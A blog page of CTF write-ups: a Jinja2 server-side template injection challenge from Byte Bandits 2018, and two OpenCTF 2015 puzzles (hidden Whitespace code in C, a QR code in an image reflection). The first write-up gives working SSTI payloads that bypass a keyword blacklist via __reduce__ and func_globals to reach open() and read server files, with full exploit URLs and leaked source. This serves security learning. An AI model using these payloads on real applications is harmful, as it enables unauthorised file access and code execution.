Showing posts with label open. Show all posts
Showing posts with label open. Show all posts

Sunday, April 8, 2018

Byte Bandits CTF 2018 - hard_to_hack (400)



This was another Jinja2 template injection challenge (they've been showing up a lot recently).
This time they denied access to properties such as '__mro__' and '__class__' which show up in top python SSTI tutorials. Here's a good example of one - Exploring SSTI in Jinja2

There's another writeup on this blog about Jinja2 injection using a similar method found above, from the BSidesSF 2017 CTF - Zumbo3

For this challenge, since we didn't have the properties found in the articles above, we had to get creative. The best way to get started with this is to jump into a local python terminal.


Initial Bug


Before we get into building the payload, the initial bug was found on a route in the web app which printed a user controlled string (config is a global we can check for with Jinja2 templates):

GET http://web.euristica.in/hard_to_hack/index?data={{config}}

<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'SESSION_REFRESH_EACH_REQUEST': True, 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': 'main', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': None, 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PROPAGATE_EXCEPTIONS': None, 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_COOKIE_SECURE': False, 'TRAP_HTTP_EXCEPTIONS': False}>

In some challenges, this is all you need! They'll load the flag into the secrets or some other area of the Jinja2 config, and you're done, but not on this one. It must've been somewhere on the filesystem, so we'll need to call open or system somehow...

Some gadgets to watch out for:

<built-in function globals>   # check for any useful variables or flags in the global scope
<built-in function locals>    # check for any useful variables or flags in the local scope
<built-in function dir>       # introspect a python object, useful for finding other gadgets
<built-in function open>      # read a file from the file system, such as a flag or the main.py source
<module 'sys' (built-in)>     # leak 'version' of python or 'argv' used
<module 'os' from ' ... >     # run system commands using system() call
<module 'commands' ... >      # run system commands using getoutput() call
func_code                     # if this is available, it could leak the version of python used
func_globals                  # get access to a function's global variables
__builtins__                  # very useful standard functions pulled in by the python runtime
__reduce__ / __reduce_ex__    # create new code objects using pickle

This is not an exhaustive list, but some of these may be useful.


Python Reduce SSTI Gadget


Not sure if this technique has been used before, but it worked well on this challenge.

First we need a primitive type to call __reduce__ / __reduce_ex__ on. This was done by grabbing the __str__ value of an undefined variable (this could've been done on an int, str, object, etc.):

>>> x = None

>>> x.__reduce__(42)
(<function __newobj__ at 0x10038ac80>, (<type 'NoneType'>,), None, None, None)

>>> x.__reduce__(42)[0]
<function __newobj__ at 0x10038ac80>

>>> dir(a.__reduce__(42)[0])
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

Now we have some useful variables to play with, a couple nice ones for this challenge:

# Leak python version (good for syncing local version of python to dictionary value offsets):
>>> x.__reduce__(42)[0].func_code
<code object __newobj__ at 0x7fa69d4a7530, file "/usr/lib/python2.7/copy_reg.py", line 92>

# Function globals (good to use as gadgets)
>>> x.__reduce__(42)[0].func_globals.values()
[{}, <function add_extension at 0x7fa69d4a5c08>, <type 'classobj'>, {}, ...

Using .keys() and .values() on the object we can get a list of all the properties it has. If we index into these values, we'll be able to call any objects that exist in that dictionary.

For objects such as locals(), globals(), dir(), system(), vars() or open(), it provides us with a huge step forward.

Looking through this we can find the '__builtins__' key on index 12:

>>> x.__reduce__(42)[0].func_globals.keys()[12]
'__builtins__'

Using '__builtins__' and checking out the values, we can also see open, this will allow us to read any file the server has access to!

>>> x.__reduce__(42)[0].func_globals.values()[12].keys()
[..., 'LookupError', 'open', 'quit', 'basestring', ...]

>>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]


The index for open is 80 here, where the server was 79, this sometimes differs, so you'll need to check the server when experimenting with these values.

Now we just use open and read in a stub flag for now:

$ echo -en 'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}' > flag
$ python
>>> x = None
>>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]('./flag').read()
'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}'


Leaking the Source


Now trying this on the server was the same (with a small adjustment for the open index). It also seemed like a good idea to dump the source before leaving.

This was the result of finding the open() function in the function globals, reading in the server source:

{{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./main.py').read()}}

from flask import Flask , request, render_template,render_template_string

app=Flask(__name__)

@app.route('/')
def root():
    return render_template('home.html')

@app.route('/index',methods=['POST','GET'])
def homepage():
  data='{{4}}'

  blacklist = ['__class__','class','mro','subclass','request[','shutdown','SHUTDOWN','server']

  try:
    data=request.form['data']
  except:
    data=request.args.get('data')

  try:
    for bad_string in blacklist:
      if  bad_string in data:
        return '>h1<HACK ATTEMPT Detected>/h1<{}'
  except:
    return '>h1<Sigh! A request is needed with 'data' parameter'

  try:
    return render_template_string(data)
  except:
    return ('>h1<Please don\'t mess with me>/h1<')

if __name__ == '__main__':
  app.run(debug=True)



Final Payload


Running the last payload with './flag' on their web server we drop the final flag:

http://web.euristica.in/hard_to_hack/index?data={{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./flag').read()}}

flag{BlackListing_N3Ver_H3lp3d_An40ne}

(First Image in post from - http://www.taleofgenji.org/ota.html)

Sunday, August 16, 2015

Defcon 23 :: OpenCTF 2015 - Absence (200)


I loved this challenge, it exactly my cup of tea in the lands of obscurity.

Here's the code provided in the challenge:

#include           
 
void one(char k)          
{ 
  unsigned int i, bytes[]={0x0a,0x5d,0x2c,0x0b,0x37,0x38,0x04,0x05,0x1f,0x4c,0x05,0x1f,0x4c,0x02,0x03,0x18,0x4c,0x18,0x04,0x09,0x4c,0x0f,0x03,0x08,0x09,0x4c,0x15,0x03,0x19,0x4b,0x1e,0x09,0x4c};       
 
  for(i=0; i<32; i++)       
 printf("%c",(char)bytes[i]^k);
  printf("\n");          
} 
            
 
char two(char c)          
{ 
  return (c^0x32)-7;        
} 
            
 
void main(int argc, char** argv)         
{ 
  // lo0kin-fo
  one(two('A'));          
} 
  




First I tried compiling it and looking at the output. When doing this we get the following:
f1@g[This is not the code you're 

Cool, starts with a lead! That's nice!
After trying to change the 'A' value on line 22, to see if it changed the output, I got nothing and moved on to look for other clues.
Playing around in vim, one act I occasionally play with is pressing $ to go to the end of the line and skimming through the code by hitting each end point. In this case, there were a few spaces after one of the lines. With a past in heavy code reviews, this made me a little uneasy inside, so I decided to do another quick check:
/\t
With that we get wayy too many tab characters in irregular places:



This immediately redirects my thoughts to Whitespace, the programming language. If you're unfamiliar with whitespace, you can check out an example program here - http://www.99-bottles-of-beer.net/language-whitespace-154.html
The gist is that it's a language completely comprised of spaces, tabs, and linefeeds.

Because it's whitespace, and not the most supported in the world, I decided to do something I rarely find myself doing - finding an online compiler. In this case, there was a great one with a gomod example of whitespace found here - http://www.tutorialspoint.com/execute_whitespace_online.php (If anyone knows of good offline *nix whitespace compilers, please leave them in the comments section below!)
 lo0kin-fo]

This resulted in the full flag:
f1@g[This is not the code you're lo0kin-fo]

Defcon 23 :: OpenCTF 2015 - Enhance (50)

OpenCTF was a great time at Defcon23 this year. One of the first challenges I attempted was this one called "Enhance".

By the name I almost immediately associated it with all those bad hacker moments in Movies & TV Shows where they shout out "Enhance! Zoom In! Sharper!"

I learned later this was a reference to the Super Troopers scene, you can find a snippet of this great moment here - https://www.youtube.com/watch?v=_KN42ntgmdw

For this challenge we were given a high resolution jpeg image. Here's a smaller version of the original image:



I had originally opened this in 'feh' which is a great application you can get on linux. When opening in feh, it was automatically zoomed to 100%. This helped a lot when solving the challenge. After looking around I started to think where someone would hide data, it would probable be in the reflection! I remember hearing something about a CSI episode where they found evidence based on the reflection of an eye or watch or something similar. So that's where I looked first. After looking at the eyes, I found a QR code hidden in the reflection.



After flipping the orientation and taking my phone out for the QR code, I got nothing. Looks like the QR code needed to be "Enhanced"

Going into GIMP, I boosted the levels a bit and took another shot and BOOM, there was the flag! :)
Also when scaling it back up, make sure no Interpolation is set so that it stays crisp.
Another Note: QRDroid ended up doing the trick on the messy QR Code



Flag:
Ju5tPr1nTheDAmNTh1n6